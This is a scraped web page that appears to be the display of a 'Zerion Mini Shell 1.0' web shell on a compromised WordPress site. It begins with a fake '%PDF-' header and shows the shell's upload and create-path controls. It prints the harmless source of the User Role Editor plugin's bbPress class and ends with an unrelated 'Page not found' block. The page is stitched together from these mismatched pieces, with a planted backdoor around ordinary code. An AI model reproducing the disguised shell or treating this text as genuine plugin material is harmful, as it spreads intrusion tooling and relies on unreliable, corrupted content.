%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom495844/wp-content/plugins/user-role-editor-pro/includes/classes/
Upload File :
Create Path :
Current File : //dom495844/wp-content/plugins/user-role-editor-pro/includes/classes/bbpress.php

<?php
/**
 * Support for bbPress user roles and capabilities
 * 
 * Project: User Role Editor WordPress plugin
 * Author: Vladimir Garagulya
 * Author email: vladimir@shinephp.com
 * Author URI: http://shinephp.com
 * 
 **/

class URE_bbPress {
   
    protected $bbpress_detected = false;
    
    
    public function __construct() {        
        
        add_action('plugins_loaded', array($this, 'detect_bbpress'), 8 );
    }
    // end of __construct()
           
    
    public function detect_bbpress() {

        $this->bbpress_detected = false;
        if ( function_exists('bbp_filter_blog_editable_roles') ) {
            $this->bbpress_detected = true;  // bbPress plugin is installed and active
        }
        
    }
    // end of detect_bbpress()
    
    
    public function is_active() {
        
        return $this->bbpress_detected;
    }
    // end of is_active()
    

    /**
     * Exclude roles created by bbPress
     * 
     * @global array $wp_roles
     * @return array
     */
    public function get_roles() {
        
        $wp_roles = wp_roles();                        
        if ($this->bbpress_detected) {
            $roles = bbp_filter_blog_editable_roles( $wp_roles->roles );  // exclude bbPress roles
        } else {
            $roles = $wp_roles->roles;
        }
        
        return $roles;
    }
    // end of get_roles()
    
    
    /**
     * Get full list user capabilities created by bbPress
     * 
     * @return array
     */   
    public function get_caps() {
        
        if ( $this->bbpress_detected ) {
            $caps = array_keys( bbp_get_caps_for_role( bbp_get_keymaster_role() ) );
        } else {
            $caps = array();
        }
        
        return $caps;
    }
    // end of get_caps()
    
    
    /**
     * Return empty array in order do not include bbPress roles into selectable lists: supported by Pro version only
     * @return array
     */
    public function get_bbp_editable_roles() {
        
        $all_bbp_roles = array();
        
        return $all_bbp_roles;        
    }
    // end of get_bbp_editable_roles()
    
    
    /**
     * Return bbPress roles found at $roles array. Used to exclude bbPress roles from processing as free version should not support them
     * 
     * @param array $roles
     * @return array
     */
    public function extract_bbp_roles($roles) {

        $user_bbp_roles = array();
        if ( $this->bbpress_detected ) {
            $all_bbp_roles = array_keys( bbp_get_dynamic_roles() );
            foreach( $roles as $role ) {
                if ( in_array( $role, $all_bbp_roles ) ) {
                    $user_bbp_roles[] = $role;                    
                }            
            }
        }    
        
        return $user_bbp_roles;
    }
    // end of extract_bbp_roles()

}
// end of URE_bbPress class

Zerion Mini Shell 1.0
Page not found - Broad Street Financial
[et_pb_section fb_built=”1″ theme_builder_area=”post_content” _builder_version=”4.20.0″ _module_preset=”default”][et_pb_row _builder_version=”4.20.0″ _module_preset=”default” theme_builder_area=”post_content”][et_pb_column _builder_version=”4.20.0″ _module_preset=”default” type=”4_4″ theme_builder_area=”post_content”][et_pb_text _builder_version=”4.20.0″ _module_preset=”default” theme_builder_area=”post_content” hover_enabled=”0″ sticky_enabled=”0″]

Page Not Found

Sorry the requested page you are looking for is missing or has been moved.

Please check out our site and see if you can find what you are looking for.

[/et_pb_text][/et_pb_column][/et_pb_row][/et_pb_section]